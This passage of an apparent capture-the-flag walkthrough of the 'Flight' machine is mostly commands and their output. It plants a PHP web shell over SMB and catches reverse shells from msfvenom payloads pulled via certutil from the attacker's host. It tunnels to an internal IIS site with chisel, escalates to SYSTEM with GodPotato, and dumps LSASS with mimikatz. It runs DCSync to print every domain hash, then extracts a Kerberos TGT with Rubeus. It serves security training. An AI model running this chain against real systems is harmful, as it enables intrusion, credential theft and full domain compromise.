$sh->run();smbclient //flight.htb/Web -U 'C.bum%Tikkycoll_431012284'Try "help" to get a list of possible commands. smb: \> dir . D 0 Fri Nov 6 06:42:01 2026 .. D 0 Fri Nov 6 06:42:01 2026 flight.htb D 0 Fri Nov 6 06:42:01 2026 school.flight.htb D 0 Fri Nov 6 06:42:01 2026 5056511 blocks of size 4096. 1205991 blocks available smb: \> cd flight.htb\ smb: \flight.htb\> dir . D 0 Fri Nov 6 06:42:01 2026 .. D 0 Fri Nov 6 06:42:01 2026 css D 0 Fri Nov 6 06:42:01 2026 images D 0 Fri Nov 6 06:42:01 2026 index.html A 7069 Thu Feb 24 05:58:10 2022 js D 0 Fri Nov 6 06:42:01 2026 5056511 blocks of size 4096. 1205991 blocks available smb: \flight.htb\> put shell.php putting file shell.php as \flight.htb\shell.php (129.6 kB/s) (average 128.6 kB/s) smb: \flight.htb\> dir . D 0 Fri Nov 6 06:48:05 2026 .. D 0 Fri Nov 6 06:48:05 2026 css D 0 Fri Nov 6 06:47:00 2026 images D 0 Fri Nov 6 06:47:00 2026 index.html A 7069 Thu Feb 24 05:58:10 2022 js D 0 Fri Nov 6 06:47:00 2026 shell.php A 9287 Fri Nov 6 06:48:05 2026 5056511 blocks of size 4096. 1205988 blocks available
The Web share holds one folder per site, and flight.htb's index.html weighs 7069 bytes, the number the vhost fuzzing was filtered by. The dir after the put is the check that the file landed: 9287 bytes with today's date.
The listener#
penelope[+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.68.112 • 172.17.0.1 • 10.10.15.120 ➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C) (Penelope)> listeners add -p 4443 [+] Listening for reverse shells on 0.0.0.0:4443 → 127.0.0.1 • 192.168.68.112 • 172.17.0.1 • 10.10.15.120 [+] Got reverse shell from G0~10.129.228.120-Microsoft_Windows_Server_2019_Standard-x64-based_PC 😍 Assigned SessionID <1> (Penelope)> sessions 1 [+] Added readline support... [+] Interacting with session [1], Shell Type: Readline, Menu key: Ctrl-D [+] Logging to /root/.penelope/sessions/G0~10.129.228.120-Microsoft_Windows_Server_2019_Standard-x64-based_PC/2026_11_05-23_48_23-101.log 📜 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
The PHP points at 4443 and penelope starts out listening on 4444, so the right port has to be added.
listeners add -p 4443[+] Listening for reverse shells on 0.0.0.0:4443 → 127.0.0.1 • 192.168.68.112 • 172.17.0.1 • 10.10.15.120 [+] Got reverse shell from G0~10.129.228.120-Microsoft_Windows_Server_2019_Standard-x64-based_PC 😍 Assigned SessionID <1>
The request that triggers shell.php is not in the note. A file in htdocs does not run by itself: somebody asked for http://flight.htb/shell.php from a browser or with curl, and that command was not preserved. What is preserved is its consequence, the incoming connection.
sessions 1[+] Added readline support... [+] Interacting with session [1], Shell Type: Readline, Menu key: Ctrl-D [+] Logging to /root/.penelope/sessions/G0~10.129.228.120-Microsoft_Windows_Server_2019_Standard-x64-based_PC/2026_11_05-23_48_23-101.log 📜
whoamiflight\svc_apache
The shell lands in C:\xampp\htdocs\flight.htb and we are svc_apache, the same account whose hash responder collected at the start. We have come all the way round to where we already were: this shell is not the prize, it is the place to launch the next thing from.
Shell as C.Bum and user.txt#
RunasCs#
We have c.bum's password but no session as them. RunasCs is Windows' runas rewritten to work from a shell with no interactive console, which is exactly the case: the original runas asks for the password at the keyboard and will not take it as a parameter.
wget https://github.com/antonioCoco/RunasCs/releases/download/v1.5/RunasCs.zip... 2026-11-06 00:46:47 (1.68 MB/s) - ‘RunasCs.zip’ saved [39889/39889]
unzip RunasCs.zipArchive: RunasCs.zip inflating: RunasCs.exe inflating: RunasCs_net2.exe
python3 -m http.server 80Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
The transfer to the victim goes through certutil.exe, a signed Windows binary and therefore often allowed where a wget is not. The C:\Windows\Temp\privesc directory in the prompt is never created anywhere in the note, it simply shows up already there.
certutil.exe -f -urlcache -split http://10.10.15.120/RunasCs.exe runascs.exe**** Online **** 0000 ... ca00 CertUtil: -URLCache command completed successfully.
.\runascs.exe C.bum Tikkycoll_431012284 "cmd /c whoami"[*] Warning: The logon for user 'C.bum' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token. flight\c.bum
It works: it runs as c.bum. The warning about the limited token will matter later, not now.
From a command to a shell#
Running whoami as another user is fine as a check, but what is needed is a session. An executable that connects back gets generated and launched with the same runascs.
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.15.120 LPORT=4444 -f exe > shell.exe[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 324 bytes Final size of exe file: 7168 bytes
python3 -m http.server 80Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
certutil.exe -f -urlcache -split http://10.10.15.120/shell.exe shell.exe**** Online **** 0000 ... 1c00 CertUtil: -URLCache command completed successfully.
move shell.exe C:\Users\Public\The binary is moved to C:\Users\Public for a practical reason: it is a directory any user on the system can reach, and the process about to run it is not ours but one launched as c.bum, who may well have no rights over C:\Windows\Temp\privesc.
.\runascs.exe C.Bum Tikkycoll_431012284 "cmd /c C:\Users\Public\shell.exe"[*] Warning: The logon for user 'C.Bum' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token. [+] Got reverse shell from G0~10.129.228.120-Microsoft_Windows_Server_2019_Standard-x64-based_PC 😍 Assigned SessionID <2> [!] Session detached ⇲ (Penelope)─(Session [1])> sessions 2 [+] Added readline support... [+] Interacting with session [2], Shell Type: Readline, Menu key: Ctrl-D [+] Logging to /root/.penelope/sessions/G0~10.129.228.120-Microsoft_Windows_Server_2019_Standard-x64-based_PC/2026_11_06-01_14_56-371.log 📜 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
sessions 2[+] Added readline support... [+] Interacting with session [2], Shell Type: Readline, Menu key: Ctrl-D [+] Logging to /root/.penelope/sessions/G0~10.129.228.120-Microsoft_Windows_Server_2019_Standard-x64-based_PC/2026_11_06-01_14_56-371.log 📜
whoamiwhoami flight\c.bum
cd C:\Users\C.bumcd C:\Users\C.bum
type Desktop\user.txttype Desktop\user.txt 7ff2cb0ff9890ae1a19dc17705df3727
The first flag: 7ff2cb0ff9890ae1a19dc17705df3727. The echo of each command before its output is not a transcription slip: it is a raw shell, with no pseudo-terminal, repeating what is typed into it.
TCP 8000: a localhost-only server#
The listening ports#
Get-NetTCPConnection -State ListenGet-NetTCPConnection -State Listen LocalAddress LocalPort RemoteAddress RemotePort State AppliedSetting ------------ --------- ------------- ---------- ----- -------------- ... :: 8000 :: 0 Listen ...
An 8000 that never showed up in the scan of all 65,535 ports. That can only mean one thing: something is listening that the firewall does not let anyone reach from outside. To get there, it has to be brought over.
The reverse tunnel#
chisel builds a tunnel over HTTP/WebSocket where the server lives on our machine and the client on the victim, which is what gets through a firewall that only filters inbound traffic (reverse port forwarding).
file /machines/proving_grounds/fish/exploits/chisel.exe/machines/proving_grounds/fish/exploits/chisel.exe: PE32+ executable for MS Windows 6.01 (console), x86-64 (stripped to external PDB), 6 sections
cp /machines/proving_grounds/fish/exploits/chisel.exe .python3 -m http.server 80Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
chisel server -p 4422 -reverse2026/11/06 19:05:21 server: Reverse tunnelling enabled ...
certutil.exe -f -urlcache -split http://10.10.15.120/chisel.exe chisel.exe**** Online **** 0000 ... 1c00 CertUtil: -URLCache command completed successfully.
.\chisel.exe client 10.10.15.120:4422 R:8000:127.0.0.1:80002026/11/06 17:59:02 client: Connecting to ws://10.10.15.120:1234 2026/11/06 17:59:02 client: Connected (Latency 23.9175ms)
Here the command and its output do not match, and it is left that way: the client is launched against port 4422, which is where the server listens, but the line it prints says ws://10.10.15.120:1234. Both are in the note exactly like that and there is no way to tell which one was really typed without making it up, so both get published. The R:8000:127.0.0.1:8000 part is unambiguous: it brings the victim's 8000, as seen from its own 127.0.0.1, over to ours.

The internal site is a different one from the public web, and Wappalyzer says what needed saying: it is not Apache, it is IIS 10.0 with Microsoft ASP.NET. That is why the payload coming next is an .aspx and not another .php.
Shell as the application pool#
Write permissions on the IIS directory#
cd C:\inetpub\developmentcd C:\inetpub\development
icacls ..\developmenticacls ..\development ..\development flight\C.Bum:(OI)(CI)(W) NT SERVICE\TrustedInstaller:(I)(F) NT SERVICE\TrustedInstaller:(I)(OI)(CI)(IO)(F) NT AUTHORITY\SYSTEM:(I)(F) NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Administrators:(I)(OI)(CI)(IO)(F) BUILTIN\Users:(I)(RX) BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE) CREATOR OWNER:(I)(OI)(CI)(IO)(F) Successfully processed 1 files; Failed processing 0 files
The first line is the only one without the (I) that marks an inherited entry: flight\C.Bum:(OI)(CI)(W), write access granted by hand, inheriting to objects and containers. The permission was set expressly for this user, who happens to be the one we have.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.120 LPORT=1111 -f aspx -o rev.aspx[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 460 bytes Final size of aspx file: 3443 bytes Saved as: rev.aspx
python3 -m http.server 80Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
certutil.exe -f -urlcache -split http://10.10.15.120/rev.aspx rev.aspx**** Online **** 0000 ... 0d73 CertUtil: -URLCache command completed successfully.
And this is where the tunnel pays off: the .aspx is requested from our own 127.0.0.1, and the request travels down the tunnel to the victim's IIS, which is the one that executes it.
curl http://127.0.0.1:8000/rev.aspxsessions 6[+] Added readline support... [+] Interacting with session [6], Shell Type: Readline, Menu key: Ctrl-D [+] Logging to /root/.penelope/sessions/G0~10.129.228.120-Microsoft_Windows_Server_2019_Standard-x64-based_PC/2026_11_06-19_25_01-511.log 📜
whoamiwhoami iis apppool\defaultapppool
The session that arrives is number 6: sessions 3, 4 and 5 are not in the note. And the user is iis apppool\defaultapppool, the virtual identity IIS runs that site under. As a user it is less than c.bum, but what matters about a service account is not its file permissions.
Privilege escalation#
SeImpersonatePrivilege#
whoami /allwhoami /all USER INFORMATION ---------------- User Name SID ========================== ============================================================= iis apppool\defaultapppool S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415 GROUP INFORMATION ----------------- Group Name Type SID Attributes ========================================== ================ ============ ================================================== Mandatory Label\High Mandatory Level Label S-1-16-12288 Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group BUILTIN\IIS_IUSRS Alias S-1-5-32-568 Mandatory group, Enabled by default, Enabled group LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group Unknown SID type S-1-5-82-0 Mandatory group, Enabled by default, Enabled group PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeMachineAccountPrivilege Add workstations to domain Disabled SeAuditPrivilege Generate security audits Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled USER CLAIMS INFORMATION ----------------------- User claims unknown. Kerberos support for Dynamic Access Control on this device has been disabled.
SeImpersonatePrivilege: Enabled. That privilege exists so a service can serve a client using the client's token, and it is what the whole Potato family turns into SYSTEM (abusing SeImpersonatePrivilege): a privileged service is tricked into authenticating to us over RPC or DCOM, and in doing so it hands over a token we can impersonate. Every IIS service account ships with it, which is why an application pool shell is worth more than a user shell.
systeminfosysteminfo Host Name: G0 OS Name: Microsoft Windows Server 2019 Standard OS Version: 10.0.17763 N/A Build 17763 OS Manufacturer: Microsoft Corporation OS Configuration: Primary Domain Controller OS Build Type: Multiprocessor Free Registered Owner: Windows User Registered Organization: Product ID: 00429-00521-62775-AA402 Original Install Date: 7/20/2021, 11:21:49 AM System Boot Time: 11/6/2026, 6:35:00 PM System Manufacturer: VMware, Inc. System Model: VMware7,1 System Type: x64-based PC Processor(s): 2 Processor(s) Installed. ...
The version decides which Potato applies. On Server 2019 the classic JuicyPotato no longer works, and the one that does from 2012 to 2022 is GodPotato. The OS Configuration: Primary Domain Controller also confirms what the scan said: SYSTEM here is not SYSTEM on some machine, it is SYSTEM on the domain controller.
GodPotato#
Where godpotatonet4.exe comes from on the attacking machine is not in the note: it simply shows up being served by the http.server. The .exe run afterwards, shell.exe, does have an origin: it is the same msfvenom from before, moved to C:\Users\Public.
certutil.exe -f -urlcache -split http://10.10.15.120/godpotatonet4.exe gp.execertutil.exe -f -urlcache -split http://10.10.15.120/godpotatonet4.exe gp.exe **** Online **** 0000 ... e000 CertUtil: -URLCache command completed successfully.
.\gp.exe -cmd "whoami".\gp.exe -cmd "whoami" [*] CombaseModule: 0x140712709259264 [*] DispatchTable: 0x140712711565376 [*] UseProtseqFunction: 0x140712710941904 [*] UseProtseqFunctionParamCount: 6 [*] HookRPC [*] Start PipeServer [*] CreateNamedPipe \\.\pipe\8b3aa06d-c25f-4dce-a324-b74c7ec4205a\pipe\epmapper [*] Trigger RPCSS [*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046 [*] DCOM obj IPID: 00004c02-117c-ffff-004a-7ec87d51fd04 [*] DCOM obj OXID: 0x584692f1cefdaa71 [*] DCOM obj OID: 0x1c7231f6580a0b8a [*] DCOM obj Flags: 0x281 [*] DCOM obj PublicRefs: 0x0 [*] Marshal Object bytes len: 100 [*] UnMarshal Object [*] Pipe Connected! [*] CurrentUser: NT AUTHORITY\NETWORK SERVICE [*] CurrentsImpersonationLevel: Impersonation [*] Start Search System Token [*] PID : 908 Token:0x744 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation [*] Find System Token : True [*] UnmarshalObject: 0x80070776 [*] CurrentUser: NT AUTHORITY\SYSTEM [*] process start with pid 6580 nt authority\system
The trace narrates the attack step by step: it creates a named pipe impersonating the epmapper, triggers the RPCSS service so it connects to it, and when the service authenticates it takes its token. It goes from NETWORK SERVICE to SYSTEM and runs the command with that token.
.\gp.exe -cmd ".\shell.exe".\gp.exe -cmd ".\shell.exe" [*] CombaseModule: 0x140712709259264 [*] DispatchTable: 0x140712711565376 [*] UseProtseqFunction: 0x140712710941904 [*] UseProtseqFunctionParamCount: 6 [*] HookRPC [*] Start PipeServer [*] Trigger RPCSS [*] CreateNamedPipe \\.\pipe\dcbb78d6-5ea0-4165-af99-64f9f52ccbd5\pipe\epmapper [*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046 [*] DCOM obj IPID: 00004c02-0af4-ffff-b17f-747432f165ac [*] DCOM obj OXID: 0xa6692c5e8e367236 [*] DCOM obj OID: 0xdd2a8684a03ea6b6 [*] DCOM obj Flags: 0x281 [*] DCOM obj PublicRefs: 0x0 [*] Marshal Object bytes len: 100 [*] UnMarshal Object [*] Pipe Connected! [*] CurrentUser: NT AUTHORITY\NETWORK SERVICE [*] CurrentsImpersonationLevel: Impersonation [*] Start Search System Token [*] PID : 908 Token:0x744 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation [*] Find System Token : True [*] UnmarshalObject: 0x80070776 [*] CurrentUser: NT AUTHORITY\SYSTEM [*] process start with pid 1836 [+] Got reverse shell from G0~10.129.228.120-Microsoft_Windows_Server_2019_Standard-x64-based_PC 😍 Assigned SessionID <7> [!] Session detached ⇲ (Penelope)─(Session [6])> sessions 7 [+] Added readline support... [+] Interacting with session [7], Shell Type: Readline, Menu key: Ctrl-D [+] Logging to /root/.penelope/sessions/G0~10.129.228.120-Microsoft_Windows_Server_2019_Standard-x64-based_PC/2026_11_06-19_56_28-198.log 📜 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
sessions 7[+] Added readline support... [+] Interacting with session [7], Shell Type: Readline, Menu key: Ctrl-D [+] Logging to /root/.penelope/sessions/G0~10.129.228.120-Microsoft_Windows_Server_2019_Standard-x64-based_PC/2026_11_06-19_56_28-198.log 📜
whoamiwhoami nt authority\system
type C:\Users\Administrator\Desktop\root.txttype C:\Users\Administrator\Desktop\root.txt 3a5922bf6e839f6b064e5c3517db2cab
Second flag: 3a5922bf6e839f6b064e5c3517db2cab.
Past SYSTEM: the whole domain#
The box is solved, but SYSTEM on a domain controller is not the end of anything: it is the beginning of what an attacker would really do. There are two roads and both end at the Administrator's hash.
Road 1: the machine account#
A domain controller keeps in memory the credentials of its own machine account, G0$, the one it uses to talk to the directory. With SYSTEM that memory can be read (LSASS dumping with mimikatz).
cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe .python3 -m http.server 80Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
certutil.exe -f -urlcache -split http://10.10.15.120/mimikatz.exe mimikatz.exe**** Online **** 000000 ... 14ae00 CertUtil: -URLCache command completed successfully.
.\mimikatz.exe.\mimikatz.exe .#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz # privilege::debug Privilege '20' OK mimikatz # sekurlsa::logonpasswords Authentication Id : 0 ; 2053704 (00000000:001f5648) Session : Service from 0 User Name : DefaultAppPool Domain : IIS APPPOOL Logon Server : (null) Logon Time : 11/6/2026 6:06:11 PM SID : S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415 msv : [00000003] Primary * Username : G0$ * Domain : flight * NTLM : 140547f31f4dbb4599dc90ea84c27e6b * SHA1 : 3e480240ea2d1d7d876707db00c98aa503e13580 tspkg : wdigest : * Username : G0$ * Domain : flight * Password : (null) kerberos : * Username : G0$ * Domain : flight.htb * Password : 78 99 6f 94 40 e3 93 d1 89 dc 11 81 3e f0 df 8f 09 c9 40 28 3b 4e ec 0b 66 a8 10 48 ef 76 f8 06 c7 c8 45 b0 dd f7 e6 78 51 f3 7e 0f 9f 27 a3 89 97 84 db f6 35 6b 12 e1 58 ba 5e 3c 0c 92 28 e3 14 54 35 cf a1 b9 5b 11 f4 05 21 a0 c2 19 e4 1c bf d4 47 7f cf 53 78 1d 7d a4 56 b9 b9 83 3b f6 5e e1 d6 df f0 c3 e2 60 83 a5 2c 10 b8 c8 1b aa 04 98 01 3d 58 00 87 88 67 a5 c6 31 f8 99 ff 17 cf f8 ec 46 f5 a2 b9 23 8e 65 46 c8 94 2d 9a 7a 9f 15 15 7a f3 c2 b7 25 5b 4a 08 88 5e 57 b6 cd ff 86 3d 40 00 dc 5e d3 ea 16 db 5a a4 d6 bd 90 58 a0 1d 1b 13 ee 54 d1 6d 49 ee 19 b0 ea ec 31 d7 03 f6 85 61 39 f8 88 65 3c 6b 1f 82 62 fa a4 7d 17 c9 4a cc 20 42 2b 47 0a 15 95 28 5b 23 a4 b1 21 ac e1 7d 13 22 7d 88 52 f0 82 d6 92 13 1a ssp : credman : ...
G0$'s NTLM is 140547f31f4dbb4599dc90ea84c27e6b. A domain controller's machine account holds directory replication rights, which is the same as saying it can ask for the contents of the NTDS (DCSync).
impacket-secretsdump flight.htb/'G0$'@10.129.228.120 -hashes :140547f31f4dbb4599dc90ea84c27e6bImpacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:43bbfc530bab76141b12c8446e30c17c::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6a2b6ce4d7121e112aeacbc6bd499a7f::: S.Moon:1602:aad3b435b51404eeaad3b435b51404ee:f36b6972be65bc4eaa6983b5e9f1728f::: R.Cold:1603:aad3b435b51404eeaad3b435b51404ee:5607f6eafc91b3506c622f70e7a77ce0::: G.Lors:1604:aad3b435b51404eeaad3b435b51404ee:affa4975fc1019229a90067f1ff4af8d::: L.Kein:1605:aad3b435b51404eeaad3b435b51404ee:4345fc90cb60ef29363a5f38e24413d5::: M.Gold:1606:aad3b435b51404eeaad3b435b51404ee:78566aef5cd5d63acafdf7fed7a931ff::: C.Bum:1607:aad3b435b51404eeaad3b435b51404ee:bc0359f62da42f8023fdde0949f4a359::: W.Walker:1608:aad3b435b51404eeaad3b435b51404ee:ec52dceaec5a847af98c1f9de3e9b716::: I.Francis:1609:aad3b435b51404eeaad3b435b51404ee:4344da689ee61b6fbbcdfa9303d324bc::: D.Truff:1610:aad3b435b51404eeaad3b435b51404ee:b89f7c98ece6ca250a59a9f4c1533d44::: V.Stevens:1611:aad3b435b51404eeaad3b435b51404ee:2a4836e3331ed290bd1c2fd2b50beb41::: svc_apache:1612:aad3b435b51404eeaad3b435b51404ee:f36b6972be65bc4eaa6983b5e9f1728f::: O.Possum:1613:aad3b435b51404eeaad3b435b51404ee:68ec50916875888f44caff424cd3f8ac::: G0$:1001:aad3b435b51404eeaad3b435b51404ee:140547f31f4dbb4599dc90ea84c27e6b::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:08c3eb806e4a83cdc660a54970bf3f3043256638aea2b62c317feffb75d89322 Administrator:aes128-cts-hmac-sha1-96:735ebdcaa24aad6bf0dc154fcdcb9465 Administrator:des-cbc-md5:c7754cb5498c2a2f krbtgt:aes256-cts-hmac-sha1-96:fb234268e90162081d11b7e9d5097091be02f42c25eec0d4bbf8a2442e9d40d0 krbtgt:aes128-cts-hmac-sha1-96:19d9549f8e011231c9a755e0b7d7695f krbtgt:des-cbc-md5:9bf8155161a8e09e S.Moon:aes256-cts-hmac-sha1-96:48de57e200e25b1c3af677e7b51eee7c56aa414b9420578f0589cbb511289505 S.Moon:aes128-cts-hmac-sha1-96:f7caecaae1d9b440b9967018e3e51b9d S.Moon:des-cbc-md5:2ab6a4c4c273d67a ...
The [-] RemoteOperations failed on the first line is not the attack failing: it is the machine account not being allowed to do the remote registry part. The part that matters, DRSUAPI, does work, and with it the whole dump comes out (dumping NTDS.DIT). The Administrator has NTLM 43bbfc530bab76141b12c8446e30c17c, already good for a pass-the-hash against any service in the domain.
One detail the dump throws in: S.Moon and svc_apache have the same NT hash, f36b6972be65bc4eaa6983b5e9f1728f. It is the cryptographic confirmation of what the spray had already shown by trial and error.
Road 2: Kerberos#
The other road touches neither LSASS nor anybody's hash: it asks for a ticket. Rubeus' tgtdeleg uses a trick of the Kerberos API to make the system hand over a delegated TGT for the current user, with no special privileges and without touching anyone else's memory.
sudo apt install rubeusInstalling: rubeus Summary: Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 1265 Download size: 92.3 kB Space needed: 297 kB / 5169 MB available Get:1 http://kali.download/kali kali-rolling/main amd64 rubeus all 1.6.4-0kali1 [92.3 kB] Fetched 92.3 kB in 1s (97.5 kB/s) Selecting previously unselected package rubeus. (Reading database ... 576406 files and directories currently installed.) Preparing to unpack .../rubeus_1.6.4-0kali1_all.deb ... Unpacking rubeus (1.6.4-0kali1) ... Setting up rubeus (1.6.4-0kali1) ... Processing triggers for kali-menu (2026.3.2) ...
dpkg -L rubeus/. /usr /usr/bin /usr/bin/rubeus /usr/share /usr/share/doc /usr/share/doc/rubeus /usr/share/doc/rubeus/changelog.Debian.gz /usr/share/doc/rubeus/changelog.gz /usr/share/doc/rubeus/copyright /usr/share/windows-resources /usr/share/windows-resources/rubeus /usr/share/windows-resources/rubeus/Rubeus.exe
The dpkg -L is not decorative: the Kali package installs a launcher in /usr/bin and the actual .exe in /usr/share/windows-resources/rubeus/, which is the one that has to be served to the victim.
certutil.exe -f -urlcache -split http://10.10.15.120/Rubeus.exe rubeus.execertutil.exe -f -urlcache -split http://10.10.15.120/Rubeus.exe rubeus.exe **** Online **** 000000 ... 043e00 CertUtil: -URLCache command completed successfully.
.\rubeus.exe tgtdeleg /nowrap.\rubeus.exe tgtdeleg /nowrap ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.6.4 [*] Action: Request Fake Delegation TGT (current user) [*] No target SPN specified, attempting to build 'cifs/dc.domain.com' [*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/g0.flight.htb' [+] Kerberos GSS-API initialization success! [+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output. [*] Found the AP-REQ delegation ticket in the GSS-API output. [*] Authenticator etype: aes256_cts_hmac_sha1 [*] Extracted the service ticket session key from the ticket cache: NfuW2iq+WmuXVIUi58GQRID8urpl81WfEexzmTjItbs= [+] Successfully decrypted the authenticator [*] base64(ticket.kirbi): doIFVDCCBVCgAwIBBaEDAgEWooIEZDCCBGBhggRcMIIEWKADAgEFoQwbCkZMSUdIVC5IVEKiHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCkZMSUdIVC5IVEKjggQgMIIEHKADAgESoQMCAQKiggQOBIIECvaR9Y9OYdCRR2MrHefzSeyAl+lZntXkcgmtLBchgemKDk8x6Bm1gAJlRg2J/Lf3pjxzcaU17sSRZ4GLiCl9sbUk1r0Q5hZqcIwkGbeyG09ZJQl/DxxHm/bAhCNd+hP4ZZBJRBWCcVFv2+t9N4rSZd09nuw2qjhcBtjLR8sNMr5z5C7ZxXwwqamvN7XK6FioEnNnK5muPz+Os9dpUkDtQx/NJGXxNjLXxRZ3etYe0Q+BTpcrUn7zUM8GUZumwzrvlZ8g65cw9dGOV+7md2wAzLW2hwbqPDrZxuoBvvuUwLqYXJygfh8z9hCrLTyMstgrSvPFvV5hmpxVvY5QRMhDxuodiwNDGTz9AB1V6htqNEACnJY/7ghgtSAjXshTo4XgZ0Q81wz3ki4QdILlvyRXsFQkVS6OfonRKHQE8loUmrZcSCTUNWrg77XJVp/HIKZjYRQs9K2Hbo0wwM7cp44nCcZW6ii0TXcYJ9cYsXv/4CI+rsqHVCxRe0r/GNJoLvJEoo/Lf3bMMSXXzPFPkGZSXycaGalHnt/kT3idU/1Mer+rWvUlHH8HVGH0CEERngGPe0br2ONAI4PZHD3n+sH0wVG4K5FkVbNeV+ofJPcXB+UyKl9CfWy31Ne7K0JmXwUxT0uRbPTxqd3BsWdWp26w7zNjsWRC4/o8BbSvlpUA8tP6s00PcSBIQis7xrDRSSt/UzF9Y2B1n2qxdMgWz2VgMBznwZ2dETrktyXz37G+WUkZvm2hJDxMm5XbXfdQWP0gAfBOr9tiOEg/11nfV5n6pBJgYhwURTQO9mJGn1QXHLxEfeqBuZrFxpxYpC76h4sqDwmtK3nZXTz1zZFfgz38GBSfBPF9vdVqo7UnXBgM7qDf8Q2fN6HVfLJ590aBxfaKhuHbaj55ykf0cF4c1438qUPNWAx3R42YLMWKoxfTXLD3697oWT7JuVRObFLni1cbbqZlYnduhXZhQbx+viK/fsJob/cWvKncJp6zQZPIr38txp4pmLCqvkyfaYsTzzoC0T+6KItD4A5vAQm8FXh9DYSGh/JRfJetRExPDu8DZb3bldiPZbtMb7v7bFIuG7GDaA6+nzcB6STjyH6rPzoIv05Z3ADmFsfDpYdnG3PoF+GLbHdXeafQglIN5EhCBAMwP9vBqGrlI8cpX9VTdtogsWFl328c+IY2neTf85F7LmzxIPyo02GwdccZ1viIuSbgeSdnO/GHiNBvFacT/6oPJDPkdXe9NrjpjG10+x1H5rPbrwiXbP1BuhhXV19dx8pCcQG3GDaoNZF3O1ekqHnfQzTCuJEtAKmzzrf6DUzSQSpg/F7dU6aIsgE3rnEdofwv1am24aeSNDcwtym1lkDkfxkqGanaUQGEePdco4HbMIHYoAMCAQCigdAEgc19gcowgceggcQwgcEwgb6gKzApoAMCARKhIgQgkNweisqH9LmR3Kx2b61yUohO2NtJbPyyqoCS9khKI9WhDBsKRkxJR0hULkhUQqIQMA6gAwIBAaEHMAUbA0cwJKMHAwUAYKEAAKURGA8yMDI2MTEwNzAxMzU1MlqmERgPMjAyNjExMDcxMTM1NTJapxEYDzIwMjYxMTE0MDEzNTUyWqgMGwpGTElHSFQuSFRCqR8wHaADAgECoRYwFBsGa3JidGd0GwpGTElHSFQuSFRC
The ticket comes out in base64 and in .kirbi format, which is Windows'. Impacket speaks ccache, so it has to be decoded and converted.
